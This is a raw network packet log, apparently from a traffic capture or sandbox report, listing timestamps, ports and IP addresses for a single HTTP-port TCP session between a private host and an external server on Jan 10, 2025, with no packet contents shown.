Jan 10, 2025 19:28:18.252715111 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.252724886 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.252737045 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.252760887 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.252760887 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.252835035 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.252960920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.252971888 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.252983093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.252994061 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.253005028 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.253010988 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.253160954 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.253245115 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.253257990 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.253284931 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.253334045 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.253345013 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.253355980 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.253366947 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.253371000 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.253376961 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.253386974 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.253397942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.253402948 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.253411055 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.253444910 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.253444910 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.284188986 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.284205914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.284218073 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.284281969 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.284291983 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.284303904 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.284315109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.284359932 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.284413099 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.284413099 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.284414053 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.284424067 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.284435034 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.284562111 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.284579992 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.284590006 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.284600973 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.284629107 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.284648895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.284748077 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.284756899 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.284766912 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.284780025 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.284787893 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.284787893 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.284787893 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.284820080 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.284966946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.284976006 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.284986973 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.285028934 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.285028934 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.285056114 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.285065889 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.285075903 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.285084009 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.285094023 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.285119057 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.285119057 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.285345078 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.285356045 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.285367966 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.285377979 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.285409927 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.285409927 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.285506964 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.285516977 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.285527945 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.285537958 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.285548925 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.285562038 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.285569906 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.285569906 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.285834074 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.285839081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.285850048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.285871983 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.285881996 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.285890102 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.285893917 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.285902977 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.285932064 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.285932064 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.286160946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.286171913 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.286176920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.286186934 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.286196947 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.286211967 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.286221981 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.286231995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.286232948 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.286232948 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.286243916 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.286253929 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.286264896 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.286289930 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.286289930 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.286369085 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.286721945 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.286734104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.286745071 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.286806107 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.289288044 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.289299011 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.289376020 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.289376020 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.289391041 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.289407015 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.289443016 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.289443016 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.289469957 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.289480925 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.289491892 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.289613008 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.289623976 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.289642096 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.289653063 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.289660931 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.289710999 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.289745092 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.289755106 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.289766073 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.289891005 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.289891005 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.289913893 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.289927006 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.289937019 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.289947033 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.289972067 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.289972067 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.290079117 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.290127039 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.290138960 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.290148973 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.290160894 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.290178061 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.290189981 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.290194035 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.290194035 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.290225029 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.290311098 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.290323019 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.290333986 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.290391922 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.290469885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.290479898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.290489912 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.290502071 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.290534019 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.290534019 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.290677071 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.290687084 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.290698051 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.290709019 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.290718079 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.290739059 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.290739059 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.290781021 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.327095985 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.327115059 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.327126980 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.327178001 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.327189922 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.327255964 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.327265978 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.327276945 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.327286959 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.327323914 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.327323914 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.327323914 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.327323914 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.327363968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.327457905 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.334599972 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.339931965 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.343336105 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.343358040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.343369961 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.343431950 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.343462944 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.343472958 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.343485117 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.343522072 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.343522072 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.343599081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.343611956 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.343625069 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.343633890 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.343682051 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.343682051 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.343753099 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.343764067 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.343775034 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.343785048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.343795061 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.343823910 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.343823910 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.345793962 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.345805883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.345818043 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.345838070 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.345911980 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.345922947 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.345933914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.345944881 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.345972061 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.345972061 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.346049070 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.386991978 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.387005091 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.387017965 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.387087107 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.387098074 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.387135983 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.387135983 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.387161970 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.387177944 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.387295961 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.387305975 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.387353897 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.387353897 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.388053894 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.388063908 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.388076067 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.388094902 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.388138056 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.388211012 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.388222933 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.388241053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.388250113 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.388262987 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.388288975 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.388288975 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.388362885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.388535023 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.389008045 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.389019012 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.389029980 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.389058113 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.389076948 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.389092922 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.389092922 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.389158964 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.389170885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.389210939 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.389275074 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.389285088 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.389295101 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.389327049 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.389327049 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.389391899 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.389403105 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.389414072 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.389425039 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.389435053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.389435053 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.389520884 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.389609098 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.389620066 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.389630079 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.389642000 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.389652967 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.389664888 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.389664888 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.389825106 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.389828920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.389838934 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.389849901 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.389862061 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.389872074 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.389883041 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.389906883 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.389906883 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.389930010 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.390085936 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.390096903 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.390106916 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.390117884 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.390129089 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.390145063 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.390150070 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.390150070 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.390162945 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.390193939 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.390259981 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.390315056 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.390485048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.390496969 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.390507936 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.390518904 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.390530109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.390543938 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.390556097 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.390561104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.390563965 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.390563965 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.390669107 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.392513037 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.392525911 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.392537117 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.392595053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.392606020 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.392617941 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.392626047 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.392626047 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.392647028 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.392878056 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.393501043 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.393512011 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.393529892 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.393543005 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.393554926 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.393563986 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.393563986 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.393582106 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.393591881 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.393594027 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.393649101 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.393707991 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.393718004 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.393728971 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.393739939 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.393748999 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.393769979 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.393769979 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:28:18.394177914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.394187927 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.394193888 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.394205093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.394213915 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 19:28:18.394223928 CET	80	49706	193.143.1.205	192.168.2.8
